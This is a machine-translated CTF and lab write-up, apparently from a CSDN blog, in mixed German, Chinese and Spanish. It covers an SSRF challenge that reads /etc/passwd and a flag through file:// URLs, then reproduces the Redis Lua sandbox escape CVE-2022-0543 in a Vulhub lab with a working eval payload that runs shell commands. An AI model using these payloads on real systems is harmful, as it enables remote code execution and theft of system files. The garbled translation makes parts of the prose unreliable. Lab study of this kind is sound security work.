Spring and Autumn Cloud Realm: CVE-2022-0543 (Redis-Sandbox-Escape-Schwachstelle)

Inhaltsverzeichnis

1. i Fragen zum Frühling und Herbst

2. CVE-2022-0543: (Redis-Sandbox-Escape)

Einführung in die Sicherheitslücke:

Wiederauftreten der Sicherheitslücke:


1. i Fragen zum Frühling und Herbst

Zielvorstellung:

Redis weist eine Code-Injection-Schwachstelle auf, die es einem Angreifer ermöglicht, Code aus der Ferne auszuführen.

Geben Sie das Thema ein:

 SSRF-Sicherheitslücke:

Versuchen Sie, die in der Frage angegebene Website hinzuzufügen:

 Sie können zur Baidu-Seite springen:

 Systemdateien lesen: IP/?url=file:///etc/passwd 

Flag /?url=file:///flag abrufen

 Flagge{e30bd2d5-b4e8-4635-858f-5aac6604cd9c}

2. CVE-2022-0543: (Redis-Sandbox-Escape)

Einführung in die Sicherheitslücke:

Redis Labs Redis ist eine in ANSI C geschriebene         Open  -Source-Protokolldatenbank mit Schlüsselwertspeicherung, die vom Netzwerk unterstützt wird, speicherbasiert und persistent ist und APIs in mehreren Sprachen bereitstellt das amerikanische Unternehmen Redis Labs.

Redis weist eine Code-Injection-Schwachstelle auf, die es einem Angreifer ermöglicht, Code aus der Ferne auszuführen.

Wiederauftreten der Sicherheitslücke:

Zieldrohne
mithilfe des Vulhub-Schießstandes: 

使用vulhub靶场

安装完成后我们进入到对应目录:

cd vulhub/redis/CVE-2022-0543/

然后执行命令,进行靶场编译和运行

docker-compose build
docker-compose up -d
运行完docker-compose后,打开我们的redis就是我们的漏洞环境了

Installieren Sie zuerst redis-cli:

kali安装redis-cli:

apt-get update && apt-get upgrade  (更新源)

apt install redis-tools

 redis-cli:

redis-cli -h 192.168.184.177//有漏洞IP

Ursache :

        Diese Schwachstelle besteht, weil die Lua-Bibliothek in Debian/Ubuntu als dynamische Bibliothek bereitgestellt wird. packageEs wird automatisch eine Variable ausgefüllt , die wiederum den Zugriff auf alle Lua-Funktionen ermöglicht.

        Wir verwenden die Loadlib-Funktion des in der Lua-Sandbox verbliebenen Variablenpakets, um die exportierte Funktion luaopen_io in die dynamische Linkbibliothek /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 zu laden. Führen Sie diese Exportfunktion in Lua aus, um die io-Bibliothek abzurufen, und verwenden Sie sie dann zum Ausführen des Befehls:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");

local io = io_l();

local f = io.popen("id", "r");

local res = f:read("*a");

f:close();

return res


Nutzlast: (Ausführungsbefehls-ID kann geändert werden)

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

 id-Befehl:

 whoami pwd ls  

 An dieser Stelle können wir den Befehl ausführen.

Formale Lösung: package=nil am Ende der Lua-Initialisierung hinzufügen  .

Vorübergehende Lösung: Dienst herunterfahren

Supongo que te gusta

Origin blog.csdn.net/m0_65712192/article/details/132407631
Recomendado
Clasificación